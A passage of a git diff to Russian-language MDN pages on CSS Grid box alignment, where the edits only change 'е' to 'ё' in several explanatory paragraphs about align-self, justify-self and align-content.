Π’Π°ΠΌ, Π³Π΄Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для свойств выравнивания ΠΈ распрСдСлСния пространства ΠΈΠ· спСцификации Box Alignment, Π² grid ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
-<p>Π’ этом руководствС прСдставлСны дСмонстрации Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ячССк Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π² Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ эти свойства ΠΈ цСнности Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² flexbox. Из-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ сСтка Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Π° ΠΈ ΠΎΠ΄Π½ΠΎΠ±ΠΎΡ‡Π΅Ρ‡Π½Π°, сущСствуСт нСсколько Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с рассмотрСния Π΄Π²ΡƒΡ… осСй, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ сталкиваСмся ΠΏΡ€ΠΈ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π² сСткС.</p>
+<p>Π’ этом руководствС прСдставлСны дСмонстрации Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ячССк Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π² Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ эти свойства ΠΈ цСнности Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² flexbox. Из-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ сСтка Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Π° ΠΈ ΠΎΠ΄Π½ΠΎΠ±ΠΎΡ‡Π΅Ρ‡Π½Π°, сущСствуСт нСсколько Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с рассмотрСния Π΄Π²ΡƒΡ… осСй, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ сталкиваСмся ΠΏΡ€ΠΈ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π² сСткС.</p>
<h2 id="Π”Π²Π΅_оси_grid_layout">Π”Π²Π΅ оси grid layout</h2>
@@ -100,7 +100,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
<p>Бвойство {{cssxref ("align-items")}} устанавливаСт свойство {{cssxref ("align-self")}} для всСх Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов сСтки. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>align-self</code> ΠΏΠΎ элСмСнту сСтки.</p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ свойство <code>align-self</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния выравнивания. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ области отобраТаСтся ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для выравнивания, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ. Π’Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ самоограничСния <code>start</code>, Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ <code>end</code> ΠΈ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ <code>center</code>.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ свойство <code>align-self</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния выравнивания. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ области отобраТаСтся ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для выравнивания, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ. Π’Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ самоограничСния <code>start</code>, Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ <code>end</code> ΠΈ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ <code>center</code>.</p>
<div id="alignment_2">
<div class="hidden">
@@ -165,7 +165,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
<p>БпСцификация ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² {{cssxref ("align-self")}} Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ сторон, Π² этом случаС ΠΎΠ½ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΊΠ°ΠΊ <code>start</code>. ΠŸΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ этого являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ссли элСмСнты с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ сторон настроСны Π½Π° растяТСниС, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΊΠ°ΠΆΠ°Ρ‚ΡŒ ΠΈΡ….</p>
-<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½ΠΎ Π² спСцификации, ΠΏΡ€ΠΈ этом Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Пока это Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ элСмСнты Π½Π΅ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°ΡŽΡ‚ΡΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ прямыми Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌΠΈ элСмСнтами сСтки, ΠΏΡƒΡ‚Π΅ΠΌ установки {{cssxref ("align-self")}} ΠΈ {{cssxref ("justify-self") }} <code>start</code>. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ послС Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ ΡƒΡ‚ΠΎΡ‡Π½Π΅Π½ΠΎ Π² спСцификации, ΠΏΡ€ΠΈ этом Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Пока это Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ элСмСнты Π½Π΅ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°ΡŽΡ‚ΡΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ прямыми Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌΠΈ элСмСнтами сСтки, ΠΏΡƒΡ‚Ρ‘ΠΌ установки {{cssxref ("align-self")}} ΠΈ {{cssxref ("justify-self") }} <code>start</code>. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ послС Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
<h2 id="Justifying_Items_on_the_Inline_or_Row_Axis">Justifying Items on the Inline or Row Axis</h2>
@@ -185,7 +185,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎ ΠΈ для {{cssxref ("align-items")}} Π½ΠΈΠΆΠ΅. На этот Ρ€Π°Π· ΠΌΡ‹ примСняСм свойство {{cssxref ("justify-self")}}.</p>
-<p>ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>stretch</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ элСмСнтов с Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ сторон. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ элСмСнты сСтки Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ сСтки, Ссли Π²Ρ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π΅, установив Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ дСмонстрируСт это Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:</p>
+<p>ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>stretch</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ элСмСнтов с Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ сторон. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ элСмСнты сСтки Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ сСтки, Ссли Π²Ρ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Ρ‘, установив Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ дСмонстрируСт это Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:</p>
<div id="alignment_3">
<div class="hidden">
@@ -316,7 +316,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
<li><code>last baseline</code></li>
</ul>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ мСня Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ сСтки Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ 500 пиксСлСй Π½Π° 500 пиксСлСй. Π― ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» 3 строки ΠΈ столбцы, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· 100 пиксСлСй с 10-ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΆΠ΅Π»ΠΎΠ±ΠΎΠΌ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° сСтки Π΅ΡΡ‚ΡŒ пространство ΠΊΠ°ΠΊ Π² Π±Π»ΠΎΡ‡Π½ΠΎΠΌ, Ρ‚Π°ΠΊ ΠΈ Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΌ направлСниях.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ мСня Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ сСтки Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ 500 пиксСлСй Π½Π° 500 пиксСлСй. Π― ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» 3 строки ΠΈ столбцы, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· 100 пиксСлСй с 10-ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΆΡ‘Π»ΠΎΠ±ΠΎΠΌ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° сСтки Π΅ΡΡ‚ΡŒ пространство ΠΊΠ°ΠΊ Π² Π±Π»ΠΎΡ‡Π½ΠΎΠΌ, Ρ‚Π°ΠΊ ΠΈ Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΌ направлСниях.</p>
<p>Бвойство <code>align-content</code> примСняСтся ΠΊ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ сСтки, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° всСй сСткС. ПовСдСниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ сСтки <code>start</code>, поэтому наши Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ сСтки находятся Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ ΡƒΠ³Π»Ρƒ сСтки, Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Ρ‹ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ стартовым линиям сСтки:</p>
@@ -499,7 +499,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
<p>Π‘Ρ‚ΠΎΠΈΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ использованиС этих Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ пространствСнного распрСдСлСния ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΡŽ элСмСнтов Π² вашСй сСткС. Если элСмСнт ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠΉ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ сСтки, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство добавляСтся ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ, этот ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΡ‚Π°Ρ‚ΡŒ большим, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ³Π»ΠΎΡ‚ΠΈΡ‚ΡŒ пространство. ΠœΡ‹ всСгда Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π² строгой сСткС. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли Π²Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти значСния, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ содСрТимоС Π²Π°ΡˆΠΈΡ… Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ пространством ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ Π²Ρ‹ использовали свойства выравнивания для элСмСнтов, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π² Π½Π°Ρ‡Π°Π»ΠΎ, Π° Π½Π΅ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ я помСстил сСтку с <code>align-content</code>, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>start</code> рядом с сСткой, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>align-content</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>space-between</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ элСмСнты 1 ΠΈ 2, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ Π΄Π²Π° ряда Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ, взяты Π½Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ высотС, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ ΠΊ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΡƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ:</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ я помСстил сСтку с <code>align-content</code>, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>start</code> рядом с сСткой, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>align-content</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>space-between</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ элСмСнты 1 ΠΈ 2, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ Π΄Π²Π° ряда Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ, взяты Π½Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ высотС, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ ΠΊ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΡƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ:</p>
<p><img alt="Demonstrating how items become larger if we use space-between." src="https://mdn.mozillademos.org/files/14729/7_space-between.png" style="height: 534px; width: 1030px;"></p>
diff --git a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html
index a481d519ad..d94570b6f2 100644
--- a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html
+++ b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html
@@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
<h2 id="ЛогичСскиС_ΠΈ_физичСскиС_свойства_ΠΈ_цСнности">ЛогичСскиС ΠΈ физичСскиС свойства ΠΈ цСнности</h2>
